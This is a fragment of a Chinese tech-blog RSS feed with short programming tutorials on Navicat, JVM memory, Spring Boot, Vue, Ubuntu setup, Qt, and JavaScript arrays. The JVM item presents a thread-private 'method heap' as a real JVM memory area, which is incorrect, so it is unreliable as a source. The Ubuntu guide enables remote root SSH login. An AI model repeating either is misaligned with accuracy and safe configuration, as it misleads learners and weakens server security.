      <description>navicat导出查询结果集, 作为sql的升级脚本, 当然你也可以查询 复制为insert语句,修改insert语句后(删除多余的库名), 作为升级脚本 使用navicat for mysql 将查询语句过滤的结果导出成insert语句时没有带表名的解决办法: 解决办法，将此查询先保存并取个名字，名字必须为查询sql的表名，然后再导出&#xA;数据库表有uuid 和create_date列, 用navicat默认打开是以uuid排序的, 你要选择create_date 降序排列,查看最新的记录 一般在设计表的时候:create_time modify_time都使用datetime类型,不推荐用timestamp, modify_time设置为 CURRENT_TIMESTAMP 并且 勾选 根据当前时间戳更新 (当表中 一条记录有修改操作时,,它会自动更新modify_time为mysql系统时间) navicat操作mysql的时候，如何输入null值？&#xA;使用navicat将MySQL表结构（含数据类型、字段备注注释）导出成Excel(其实是选中查询结果的5行5列(建议直接ctrl+a全选)粘贴到word中excel的5行5列里即可, 如果有换行,就将navicat字段里的注释的换行删掉即可) word中表格列数 行数多时,会循环粘贴&#xA;如何从数据字典中，检索出这个表的字段的相关信息？sql如下:&#xA;SELECT COLUMN_NAME 列名, COLUMN_COMMENT 备注,&#xA;COLUMN_TYPE 数据类型, CASE WHEN COLUMN_KEY = &#39;PRI&#39; THEN &#39;TRUE&#39; ELSE &#39;FALSE&#39; END AS &#39;是否主键&#39;,&#xA;CASE WHEN IS_NULLABLE = &#39;NO&#39; THEN &#39;TRUE&#39; ELSE &#39;FALSE&#39; END AS &#39;不为空&#39;&#xA;FROM INFORMATION_SCHEMA.COLUMNS where -- developerclub为数据库名称，到时候只需要修改成你要导出表结构的数据库即可 table_schema =&#39;ipvacloud_20180319&#39; AND -- article为表名，到时候换成你要导出的表的名称 -- 如果不写的话，默认会查询出所有表中的数据，这样可能就分不清到底哪些字段是哪张表中的了，所以还是建议写上要导出的名名称 table_name = &#39;ft_base_data&#39;</description>
    </item>
    <item>
      <title>通用后台管理系统，管理后台框架模板演示地址</title>
      <link>https://bchobby.github.io/posts/c260305c00e06f70b1683e333a720f2d/</link>
      <pubDate>Wed, 26 Apr 2023 13:49:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c260305c00e06f70b1683e333a720f2d/</guid>
      <description>一、这个通用的后台管理系统，管理后台框架模板，主要包括如下功能：&#xA;1、功能模块&#xA;主要包括新闻管理、留言管理、广告管理、友情链接管理、图片管理、用户管理等。&#xA;具体包括搜索、列表展示、分页、图片上传、批量审核等。&#xA;2、系统设置&#xA;主要包括字典设置、黑名单管理、地区管理、操作日志、回收站、IP管理、短信日志、邮件日志、自动获取IP地址、SEO优化、缓存管理等。&#xA;具体包括搜索、列表展示、分页、自动获取IP地址、手动获取IP地址、批量审核等。&#xA;3、权限控制&#xA;主要包括节点菜单管理、角色管理，权限分配、管理员管理等。&#xA;具体包括搜索、列表展示、分页、图片上传、批量审核等。&#xA;4、数据图表&#xA;数据报表访问统计的各种折线图、柱状图，饼图等。&#xA;具体包括拆线图、柱状图、实心饼图、环形饼图、3D实习饼图、3D环形饼图、实时访问统计拆线图等。&#xA;5、其他&#xA;包括省市县乡四级联动、汉字转拼音、导入导出Excel、Word等的示例。&#xA;具体包括搜索、列表展示、分页、图片上传、批量审核、省市县乡四级联动、汉字转拼音、导入导出等。&#xA;二、演示地址如下：&#xA;http://www.yiduhao.com/mydemo/&#xA;账号:demo 密码:demo918&#xA;三、功能截屏如下：&#xA;1.功能模块-新闻列表.png&#xA;2.系统设置-地区列表.png&#xA;3.系统设置-IP管理.png&#xA;4.系统设置-Redis缓存管理.png&#xA;5.权限配置-角色权限.png&#xA;6.数据图表-访问统计.png&#xA;7.功能示例-省市县乡-四级联动.png</description>
    </item>
    <item>
      <title>Java中的方法栈、方法堆和方法区</title>
      <link>https://bchobby.github.io/posts/cae7324a4006f6a6b0967733288cd0ce/</link>
      <pubDate>Wed, 26 Apr 2023 13:37:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cae7324a4006f6a6b0967733288cd0ce/</guid>
      <description>前言：&#xA;方法区、方法栈、方法堆是Java虚拟机（JVM）中的重要概念，理解它们的工作原理对于优化代码和避免内存泄漏是非常有帮助的。&#xA;一、方法区：&#xA;方法区是JVM内存模型中的一个重要部分，也是Java中存放类信息和常量池的地方。方法区也被称为永久代（Permanent Generation，PG），其中的对象通常都是不会被垃圾回收的，直到虚拟机退出才会被释放。 方法区的大小是通过JVM启动参数来设置的，它的大小可以在运行时进行调整。当方法区被占满时，会抛出OutOfMemoryError异常。&#xA;二、方法堆：&#xA;方法堆是JVM在堆内存中为方法调用分配的内存区域，它通常包含方法的参数、局部变量和返回值。每次调用方法时，JVM都会为该方法分配一块方法堆内存。 方法堆是线程私有的，也就是说，每个线程都会为它的方法调用分配一个独立的方法堆，这使得多线程程序可以同时调用同一个方法而不会相互影响。 方法堆的大小是由JVM自动管理的，当方法调用结束时，JVM会自动释放该方法所占用的方法堆内存。当你创建一个对象时，对象本身的数据存储在堆中，但该对象的方法（包括构造函数和成员方法）的代码存储在方法区中。方法堆通常用来存储方法调用期间的临时变量和返回值。当你调用一个方法时，方法的参数和局部变量会存储在该方法的方法堆中，当方法调用结束时，这些临时变量会被释放。因此，方法堆不是为了存储对象本身，而是为了存储方法调用期间的临时数据。&#xA;三、方法栈：&#xA;方法栈是JVM中的一个重要概念，它用来存储线程中每个方法的状态。每个方法在运行时都会创建一个栈帧，栈帧中存储了该方法的参数、局部变量和返回值等信息。 方法栈是线程私有的，也就是说，每个线程都会为它的方法调用分配一个独立的方法栈，这使得多线程程序可以同时调用同一个方法而不会相互影响。 方法栈的大小也是由JVM自动管理的，当方法调用结束时，JVM会自动释放该方法所占用的方法栈内存。&#xA;四、方法区、方法堆和方法栈的关系：&#xA;方法区、方法堆和方法栈都是JVM内存模型中的重要组成部分，它们之间的关系如下：&#xA;1.方法区是存放类信息和常量池的地方，而方法堆和方法栈则是为方法调用分配内存的区域。&#xA;2.方法堆和方法栈是线程私有的，每个线程都会为它的方法调用分配独立的内存区域，而方法区则是所有线程共享的。&#xA;3.方法区、方法堆和方法栈都由JVM自动管理，它们的大小和释放都是由JVM自动控制的。&#xA;4.当一个方法被调用时，JVM会为该方法分配一块方法堆内存，并在当前线程的方法栈中创建一个栈帧用于存储该方法的状态。当方法调用结束时，JVM会自动释放该方法所占用的方法堆内存，并弹出对应的栈帧。在JVM运行时，方法区、方法堆和方法栈的合理使用和优化可以提高程序的性能和减少内存泄漏的风险。&#xA;五、总结：&#xA;简单的理解来说：可以将 JVM、方法栈、方法区和方法堆看为一座图书馆。&#xA;JVM可以看作整个图书馆，它是程序运行的环境，提供了各种内存、线程等资源。&#xA;方法栈可以看作读者在图书馆借书时，用来存放读者信息和借书记录的卡片，每个读者都会有一个独立的卡片，而方法栈就是为每个线程中的方法调用分配独立的内存区域。&#xA;方法区可以看作图书馆的书库，它是存放类信息和常量池的地方，每个类都有一个对应的类信息，类信息在方法区中存储，而常量池是每个类的一个重要部分，存储着类中定义的常量。&#xA;方法堆可以看作借书的书架，它是为方法调用分配内存的区域，每次方法调用时都会在方法堆中分配内存。方法堆是线程私有的，每个线程都会为它的方法调用分配一个独立的方法堆，这使得多线程程序可以同时调用同一个方法而不会相互影响。&#xA;这个类比虽然不完全对，但是可以帮助大家更好地理解这四个概念之间的关系和作用。</description>
    </item>
    <item>
      <title>Springboot项目常见的8个报错</title>
      <link>https://bchobby.github.io/posts/394b7ef3910f49fdf2ac344accb248b4/</link>
      <pubDate>Wed, 26 Apr 2023 12:53:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/394b7ef3910f49fdf2ac344accb248b4/</guid>
      <description> Springboot项目常见的8个报错 1.500状态码: 代表服务器业务代码出错,也就是执行Controller里面的某个方法的过程中报错, 此时在idea的控制台中会显示具体的错误信息, 所以需要去看idea控制台的报错，具体关注Caused by后面的报错信息描述。 2.404状态码: 找不到资源 localhost:8080/reg.html 找不到静态资源&#xA;检查请求地址是否拼写错误&#xA;检查静态资源文件的位置是否正确&#xA;如果以上都没有问题需要Build-&amp;gt;ReBuild Project 然后重启工程测试&#xA;找不到动态资源&#xA;检查请求地址是否拼写错误&#xA;检查Controller中是否添加了@Controller注解或@RestController注解&#xA;检查@RequestMapping(&#34;路径&#34;) 注解里面的路径是否和请求路径一致&#xA;检查controller包是否创建在了工程自带的包里面&#xA;如果以上都没有问题需要Build-&amp;gt;ReBuild Project 然后重启工程测试&#xA;3.运行的是新工程但是显示的却是之前工程的页面, 这种情况是因为浏览器加载的是缓存内容.在浏览器访问的老的页面中Shift+F5 清缓存刷新 4.MySQL服务重启电脑时自动关闭了,会导致以下报错, 需要找到MySQL服务开启，或者在命令提示符中用cmd命令开启。net start mysql 5.连接数据库时用户名或密码错误 6.8080端口被占用: - 检查是不是其它工程正在运行, 关闭其它工程即可解决 如果其它工程没有运行,可能是idea异常关闭导致8080端口被占用&#xA;重启电脑&#xA;找到占用8080端口的进程杀掉&#xA;找出占用8080端口的pid netstat -o -n -a | findstr :8080&#xA;kill掉目前8080端口所占用的进程 taskkill /F /PID 修改工程的端口号, 在application.properties里面添加以下内容修改工程的端口号&#xA;server.port=8081 7.Mybatis工程没有配置连接数据库的信息导致工程启动报错: - 解决方案: 在application.properties里面配置连接数据库的信息 spring.datasource.url=jdbc:mysql://localhost:3306/restaurant?characterEncoding=utf8&amp;amp;serverTimezone=Asia/Shanghai&amp;amp;useSSL=false spring.datasource.username=root spring.datasource.password=root 8.400状态码: 代表传参出错 </description>
    </item>
    <item>
      <title>4月书讯！15本新书闭眼入！</title>
      <link>https://bchobby.github.io/posts/a86ece58f7eda03392c338af36a43c5f/</link>
      <pubDate>Wed, 26 Apr 2023 11:40:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a86ece58f7eda03392c338af36a43c5f/</guid>
      <description>书可以带着你的心灵旅行，走最远的旅行。每天看一本书，一年下来，别人与你就有 365 本书的差距。通过学习建立自己的风格与专业，把自己当作一项事业，当成个人品牌在经营，创造自己名字的价值，帮自己建立一个别人拿不走的身份，而不是社会价值下的职业。&#xA;四月图灵社区好书云集，适合正在布局读书计划的每一个人。&#xA;本月新书上市 15 本，不管是计算机还是科普，都能给你耳目一新的清新之感，快来跟我一起看看都有哪些新书吧！&#xA;计算机类&#xA;重磅来袭！超250万读者的选择：蟒蛇书《Python编程：从入门到实践（第3版）》终于终于预售啦！ 《Python编程：从入门到实践（第3版）》 [美]埃里克·马瑟斯（Eric Matthes）｜著&#xA;袁国忠｜译&#xA;编程入门就选蟒蛇书！ 本书是享誉全球的 Python 入门书，影响了超过250万读者。全书分两部分：第一部分介绍用Python编程所必须了解的基本概念，包括强大的 Python 库和工具，以及列表、字典、if 语句、类、文件和异常、代码测试等内容；第二部分将理论付诸实践，讲解如何开发三个项目，包括简单的 2D 游戏、利用数据生成交互式的信息图以及创建和定制简单的 Web 应用，并帮助读者解决常见编程问题和困惑。第 3 版进行了全面修订：使用了文本编辑器 VS Code，新增了介绍 removeprefix() 方法和 removesuffix() 方法的内容，并且在项目中利用了 Matplotlib 和 Plotly 的最新特性，等等。 豆瓣 9.6，冠绝 Python 圈，读完它才能理解 Python 之美，万千读者催更的第 2 版终于来啦！ 《流畅的Python（第2版）》&#xA;卢西亚诺·拉马略｜著&#xA;安道｜译&#xA;本书致力于帮助读者挖掘这门语言及相关程序库的优秀特性，写出简洁、流畅、易读、易维护，并且地道的Python代码。第一版销量近10万册，得到读者译者好评。第2版内容更新率超过 3 成，基于 Python 3.10 全新升级，充分利用 Python 特性，写出高效且现代的 Python 3 代码。&#xA;接下来是前端大神司徒正美老师写给所有前端人的面试必备算法书，不论你是科班出身还是非科班出身的前端开发者，这本都可以让你快速上手！&#xA;《JavaScript算法：基本原理与代码实现》&#xA;司徒正美，李晓晨｜著&#xA;本书以 JavaScript 作为演示代码，比较系统地涉及各种数据结构和常见的算法面试题，如常见排序算法、树的相关算法、字符串算法、回溯算法、动态规划问题等。书中没有难懂的数学公式与复杂度证明，详细列出解题步骤，给出可以套用的算法模板和多种解。&#xA;本月还有一本超级实用的 MySQL 实战指南，作者是“MySQL实战”公众号作者、甲骨文数据库专家陈臣老师，MySQL 常见问题读完这本都会一一拿下。&#xA;《MySQL实战》</description>
    </item>
    <item>
      <title>小米平板6和小米平板6Pro的区别 小米平板6和小米平板6pro参数对比</title>
      <link>https://bchobby.github.io/posts/d3d0b431baefde2ce2d270d0467212b8/</link>
      <pubDate>Wed, 26 Apr 2023 11:23:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3d0b431baefde2ce2d270d0467212b8/</guid>
      <description>小米平板6和小米平板6 Pro在外观设计方面几乎完全相同。它们都采用了超清护眼全面屏，背面的正方形圆角相机模块都位于左侧，全金属一体机身和直角边框设计。&#xA;机身厚度都是6.51mm，重量也只有约490g，这使得它们在手持使用时非常轻便。然而，虽然它们在外观上几乎一致，但它们的价格和性能却存在一些微小的差别。小米平板6 Pro比小米平板6价格更高，但配备了性能更强的处理器以及更好的相机。&#xA;二、显示屏&#xA;小米平板6和小米平板6 Pro在显示屏方面几乎完全相同。它们都采用了11英寸LCD材质的专业原色屏，分辨率达到2880x1800像素，可以呈现10亿种颜色，同时配备了AI 大师画质引擎，使得画质更为出色。&#xA;小米平板6 更多使用感受和评价 http://xiaomi.adiannao.cn/1&#xA;小米平板6Pro更多使用感受和评价 http://xiaomi.adiannao.cn/1&#xA;此外，它们的屏幕还支持30-144Hz刷新率的7挡可调，全局最高亮度达到550nit，并获得了莱茵硬件低蓝光护眼认证，同时提供经典护眼、纸质护眼、真彩显示、超动态显示等多种显示模式。这使得两款平板电脑在显示效果上表现出极高的水准，用户可以根据自己的需求选择不同的显示模式。因此，无论是娱乐还是工作，小米平板6和小米平板6 Pro都能够提供非常出色的视觉体验。&#xA;三、核心性能&#xA;小米平板6搭载了骁龙870处理器，采用台积电7nm工艺制程，搭配8GB运行内存，性能强劲，能够满足大多数用户的日常使用需求，无论是看视频、玩游戏还是进行多任务处理，都能够表现出不俗的表现。&#xA;而小米平板6 Pro则搭载了更为强劲的骁龙8+旗舰处理器，采用台积电4nm工艺制程，搭配12GB运行内存，性能更为出色，处理速度更快，能够应对更为复杂的操作场景和大型游戏的运行需求，同时也更加省电。因此，如果用户追求更高的性能和更好的游戏体验，小米平板6 Pro无疑是更为合适的选择，而对于普通用户来说，小米平板6的性能也足够强劲。&#xA;四、相机&#xA;小米平板6搭载了后置13MP摄像头和前置800万像素超广角镜头，能够满足用户的日常拍摄需求，支持4K 30fps视频拍摄，能够录制出清晰、流畅的视频内容，前置超广角镜头也能够满足用户自拍和视频通话的需求。&#xA;而小米平板6 Pro则搭载了后置50MP摄像头和前置2000万像素超广角镜头，拍摄效果更为出色，支持4K 60fps视频拍摄，可以录制更为流畅、清晰、逼真的视频内容，同时前置镜头也提供了更高的自拍和视频通话质量。&#xA;五、电池&#xA;小米平板6搭载了一块8840mAh电池，支持33W快充技术，可以让用户快速充电，同时电池容量也足够支持日常使用。但是相比于小米平板6 Pro而言，其充电速度稍显逊色。&#xA;小米平板6 Pro虽然配备了一块更小的8600mAh电池，但支持更快的67W快充技术，充电速度比小米平板6更快，同时电池容量也能够满足用户日常使用需求，能够更好地支持高性能处理器、高分辨率屏幕等硬件的消耗。&#xA;对比总结：&#xA;对比这两款小米平板电脑，它们最大的区别在于处理器性能和相机配置。如果你需要更强大的处理器和更出色的相机配置，并且愿意多花费500元，那么选择小米平板6 Pro是个不错的选择。&#xA;但是，如果你对处理器性能和相机配置不是特别苛刻，更注重性价比的话，那么小米平板6的配置及性能完全足够了。</description>
    </item>
    <item>
      <title>vue3 下载图片实现方法，亲测有效</title>
      <link>https://bchobby.github.io/posts/97e997161fb116daee594b40420f8921/</link>
      <pubDate>Wed, 26 Apr 2023 11:03:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97e997161fb116daee594b40420f8921/</guid>
      <description>//图片编码 const getUrlBase64 = (url) =&amp;gt; { return new Promise((resolve) =&amp;gt; { let canvas = document.createElement(&#34;canvas&#34;); let ctx = canvas.getContext(&#34;2d&#34;); let img = new Image(); img.crossOrigin = &#34;Anonymous&#34;; //允许跨域 img.src = url; img.onload = function () { canvas.height = 300; canvas.width = 300; ctx.drawImage(img, 0, 0, 300, 300); let dataURL = canvas.toDataURL(&#34;image/png&#34;); canvas = null; resolve(dataURL); }; }); }; // click事件调用方法 const download_qr_code = (item) =&amp;gt; { getUrlBase64(item).then((base64) =&amp;gt; { let link = document.</description>
    </item>
    <item>
      <title>使用vmware安装ubuntu</title>
      <link>https://bchobby.github.io/posts/3252f04298dbbe43ff72f81fc88d1057/</link>
      <pubDate>Wed, 26 Apr 2023 00:26:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3252f04298dbbe43ff72f81fc88d1057/</guid>
      <description>1.下载VMware16 worksation&#xA;VMware不限制白嫖。直接从官网下载vmware安装包即可。但是现在官网都是一些云啥的，很难找。我一般都直接访问pc.qq.com去下载正版安装包。安装过程中提示许可证，直接在网上找一个密钥即可。&#xA;2.下载ubuntu&#xA;去官网下，下载速度很快。我下载的是ubuntu-22.04.2-live-server-amd64版本的。&#xA;3.新建虚拟机，安装Ubuntu&#xA;乌班图server版的安装向导没有中文版的，&#xA;需要修改一个地方，将数据源更改为阿里镜像&#xA;然后一路下一步。&#xA;4.开启root用户&#xA;使用安装过程中设置的普通用户进行登录。执行sudo passwd root。设置root用户的密码。&#xA;5.开放防火墙22端口&#xA;以root登录。依次执行&#xA;sudo apt-get install openssh-server&#xA;sudo apt-get install ufw&#xA;sudo ufw enable&#xA;sudo ufw allow 22&#xA;6.开启root远程登陆&#xA;vim /etc/ssh/sshd_config（如何使用vim自行百度）&#xA;...&#xA;#PermitRootLogin prohibit-password&#xA;PermitRootLogin yes # 允许root直接登录&#xA;...&#xA;#PermitEmptyPasswords no&#xA;PermitEmptyPasswords no # 因为设置了root密码，所以需要修改为no&#xA;保存&#xA;7. 使用ssh/sftp工具测试连接</description>
    </item>
    <item>
      <title>【MyBatis-Plus问题集】当我们使用MyBatis-Plus版本3.5.x时,会发现一直无法注册xxxMapper</title>
      <link>https://bchobby.github.io/posts/3dfc8e37574ddfa45e55a9d930d758cd/</link>
      <pubDate>Tue, 25 Apr 2023 21:33:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3dfc8e37574ddfa45e55a9d930d758cd/</guid>
      <description>目录 项目场景问题描述解决方案 项目场景 项目场景：我们想尝试新版本的MyBatis-Plus,使用目前比较新的版本3.5.3&#xA;问题描述 描述: 配置都确保正常且跟MyBatis-Plus官网配置一样后,启动项目时就会报错,无法找到xxxMapper,报错如下:&#xA;Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name ‘userController’: Unsatisfied dependency expressed through field ‘userService’; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name ‘userServiceImpl’: Injection of resource dependencies failed; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name ‘userMapper’ defined in file [D:\learnData\java_learning\project\cloudsurvey\target\classes\cn\itsource\code\mapper\UserMapper.class]: Unsatisfied dependency expressed through bean property ‘sqlSessionFactory’; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name ‘com.</description>
    </item>
    <item>
      <title>QT源码编译#error “Q_ATOMIC_INT64_IS_SUPPORTED must be defined on a 64-bit platform“</title>
      <link>https://bchobby.github.io/posts/7fedd65db5a0b1a94189e746151ae287/</link>
      <pubDate>Tue, 25 Apr 2023 19:49:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fedd65db5a0b1a94189e746151ae287/</guid>
      <description>/home/ali/Qt/5.15.2/Src/qtbase/include/QtCore/../../src/corelib/global/qglobal.h:121:63: error: static assertion failed: template parameter is an integral of a size not supported on this platform 121 | # define Q_STATIC_ASSERT_X(Condition, Message) static_assert(bool(Condition), Message) | ^~~~~~~~~~~~~~~ /home/ali/Qt/5.15.2/Src/qtbase/include/QtCore/../../src/corelib/thread/qbasicatomic.h:97:5: note: in expansion of macro ‘Q_STATIC_ASSERT_X’ 97 | Q_STATIC_ASSERT_X(QAtomicOpsSupport&amp;lt;sizeof(T)&amp;gt;::IsSupported, &#34;template parameter is an integral of a size not supported on this platform&#34;); | ^~~~~~~~~~~~~~~~~ make[3]: *** [Makefile:23936: .obj/qatomic.o] Error 1 解决方案：在对应的交叉编译配置文件中添加一行：&#xA;clangdefines += Q_ATOMIC_INT64_IS_SUPPORTED 比如编译的目标代码为linux-aarch64-gnu，则在qtbase/mkspecs/linux-aarch64-gnu-g+/qmake.conf文件中添加：&#xA;# # qmake configuration for building with aarch64-none-linux-gnu-g++ # MAKEFILE_GENERATOR = UNIX CONFIG += incremental QMAKE_INCREMENTAL_STYLE = sublib include(.</description>
    </item>
    <item>
      <title>jdbcTemplate封装一个CRUD框架</title>
      <link>https://bchobby.github.io/posts/736b9fedc099e47e555d826cffcc1076/</link>
      <pubDate>Tue, 25 Apr 2023 19:40:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/736b9fedc099e47e555d826cffcc1076/</guid>
      <description>很久没更新博文了，今天抽了1个小时空，给大家分享一个基于jdbcTemplate封装的CRUD工具API。&#xA;pom.xml依赖坐标&#xA;该框架用到的maven坐标如下，由于这是框架，所有的maven依赖均指定optional为true，这个代表依赖版本号以使用者项目为准，同时使用该框架的客户端项目必须重新强制依赖的方式引入这批依赖，否则编译时将会报错：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-api&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;fastjson&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-jdbc&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; ‍&#xA;定义BaseModel&#xA;为什么一定要定义BaseModel？定义BaseModel有如下好处：&#xA;1、定义通用字段，例如主键、创建人、创建时间。&#xA;2、在CRUD DAO接口入参时通过泛型&amp;lt;M extends BaseModel&amp;gt;指定入参的父类型范围，然后可以在父类定义接口方式在DAO获取到主键进行操作。&#xA;BaseModel代码如下：&#xA;@Data public abstract class BaseModel implements Serializable { static final long serialVersionUID = 25456241672452L; private Long id; private String createBy; private String updateBy; private LocalDateTime createDate; private LocalDateTime updateDate; /** * 表名 * @return */ public abstract String tableName(); } 定义BaseDao接口</description>
    </item>
    <item>
      <title>flink k8s HA 报ClusterRetrieveException: Could not get the rest endpoint</title>
      <link>https://bchobby.github.io/posts/eb38ed1572615cca2d64804b20cdf6c1/</link>
      <pubDate>Tue, 25 Apr 2023 19:12:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb38ed1572615cca2d64804b20cdf6c1/</guid>
      <description>文章目录 问题分析 问题 org.apache.flink.client.deployment.ClusterRetrieveException: Could not get&#xA;the rest endpoint of flink-cluster&#xA;我是在用flink sql-client 提交任务发现的这个问题&#xA;分析 从源码中可以看到实现上的jobmanager 这个svc要以flink-cluster-rest 来命名才能解析到jobmanager地址</description>
    </item>
    <item>
      <title>前端单元测试的实践指南</title>
      <link>https://bchobby.github.io/posts/1580fbe3dd83eded097eb466f95842cd/</link>
      <pubDate>Tue, 25 Apr 2023 17:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1580fbe3dd83eded097eb466f95842cd/</guid>
      <description>在前端开发中，单元测试是一种保证代码质量的重要方法。它可以帮助开发者快速发现代码中的问题，并且避免因为意外的修改带来新的问题。本篇文章将分享前端单元测试的实践指南，包括为什么需要单元测试、常用的测试框架和库、如何编写单元测试等内容，并且会结合实例代码来演示每种测试方法的使用。&#xA;为什么需要单元测试 在前端开发中，单元测试可以帮助我们及时发现代码中的错误和问题，并且使得开发过程更加高效和可靠。单元测试可以帮助我们：&#xA;确保代码的正确性：单元测试可以确保代码在各种情况下正确执行。提高代码可维护性：通过单元测试，可以让开发者更好地组织和维护代码。简化代码重构：单元测试可以让开发者在修改代码时快速找到潜在的问题，并且在代码修改后很容易验证其正确性。 常用的测试框架和库 在前端单元测试中，有很多框架和库可以使用。以下是其中一些常用的框架和库：&#xA;Jest：Jest 是 Facebook 推出的一款适用于 React 应用程序的测试框架。它集成了代码覆盖率、模拟和快照测试等功能，而且易于使用。Mocha：Mocha 是一个功能丰富的测试框架，它支持浏览器和 Node.js 环境，可以使用各种断言库和异步代码测试。Karma：Karma 是一个测试运行器，可以在多种浏览器中运行单元测试。 如何编写单元测试 编写单元测试需要关注以下几个方面：&#xA;安装所需的测试库：如 Jest、Mocha、Karma 等。编写测试用例：为要测试的函数或组件编写测试用例。测试用例应该覆盖所有重要的路径，并且保证代码在各种情况下都能正确运行。运行测试用例：运行测试用例，确保它们能够正确地通过测试。持续集成测试：在持续集成过程中自动运行测试用例，并及时反馈测试结果。 以下是一个简单的测试用例，展示了如何使用 Jest 来测试函数的行为：&#xA;function add(a, b) { return a + b; } test(&#39;adds 1 + 2 to equal 3&#39;, () =&amp;gt; { expect(add(1, 2)).toBe(3); }); 在上面的代码中，我们首先定义了一个 add 函数，接着使用 test 函数来定义一个测试用例，该测试用例验证了 add 函数的正确性。&#xA;总结 本篇文章分享了前端单元测试的实践指南，包括为什么需要单元测试、常用的测试框架和库、如何编写单元测试等内容，并且演示了如何使用 Jest 来测试函数的行为。通过学习并实践单元测试，我们可以确保代码的正确性、提高代码的可维护性和简化代码的重构。</description>
    </item>
    <item>
      <title>Linux系统安装apache详细教程</title>
      <link>https://bchobby.github.io/posts/a9cc9963d25bd24ba5ee82668cc00d57/</link>
      <pubDate>Tue, 25 Apr 2023 13:41:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9cc9963d25bd24ba5ee82668cc00d57/</guid>
      <description>1.下载安装apache&#xA;yum install httpd&#xA;2.查看是否安装成功&#xA;rpm -qa |grep httpd&#xA;3.启动apache服务&#xA;sudo systemctl start httpd.service 4.查看apache服务状态&#xA;sudo systemctl status httpd.service 相关命令：&#xA;sudo systemctl stop httpd.service 停止apache服务&#xA;sudo systemctl restart httpd.service 重启apache服务</description>
    </item>
    <item>
      <title>JavaScript常用数组方法以及使用方法</title>
      <link>https://bchobby.github.io/posts/50cf0b1378fcccf0ead5db0418867bee/</link>
      <pubDate>Tue, 25 Apr 2023 11:57:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50cf0b1378fcccf0ead5db0418867bee/</guid>
      <description>JavaScript中的数组是一种数据结构，可以存储一系列的值，并提供了许多方法来操纵和操作这些值。以下是一些常用的JavaScript数组方法：&#xA;push()：在数组末尾添加一个或多个元素，并返回新数组的长度。pop()：删除并返回数组的最后一个元素。unshift()：在数组开头添加一个或多个元素，并返回新数组的长度。shift()：删除并返回数组的第一个元素。slice()：从数组中提取指定的部分并返回一个新的数组，原始数组不会被修改。splice()：从数组中删除、添加或替换元素，原始数组将被修改，并返回被删除的元素。concat()：将两个或多个数组连接在一起，并返回新数组。reverse()：反转数组的顺序，并返回修改后的数组。sort()：按照字母顺序对数组进行排序，或者使用自定义函数对其进行排序，并返回修改后的数组。indexOf()：返回指定元素在数组中的位置（从前往后找）。lastIndexOf()：返回指定元素在数组中的位置（从后往前找）。forEach()：遍历数组中的每个元素，并为每个元素执行回调函数。map()：创建一个新数组，其中包含原始数组的所有元素，并对每个元素执行回调函数。filter()：创建一个新数组，其中仅包含通过测试函数的元素。reduce()：通过对数组中所有元素应用一个函数来将其减少为单个值，并返回该值。 join()：用指定的分隔符将数组每一项拼接为字符串&#xA;find():返回匹配的值&#xA;findIndex():返回匹配位置的索引&#xA;toLocaleString()、toString():将数组转换为字符串&#xA;这些方法只是JavaScript中可用的一部分数组方法，还有很多其他的方法可以使用。push()：&#xA;push()向数组末尾添加一个或多个元素，并返回新的长度 let fruits = [&#34;apple&#34;, &#34;banana&#34;]; fruits.push(&#34;orange&#34;, &#34;kiwi&#34;); console.log(fruits); // [&#34;apple&#34;, &#34;banana&#34;, &#34;orange&#34;, &#34;kiwi&#34;] pop()删除数组最后一个元素，并返回被删除元素的值 let fruits = [&#34;apple&#34;, &#34;banana&#34;, &#34;orange&#34;, &#34;kiwi&#34;]; let lastFruit = fruits.pop(); console.log(lastFruit); // &#34;kiwi&#34; console.log(fruits); // [&#34;apple&#34;, 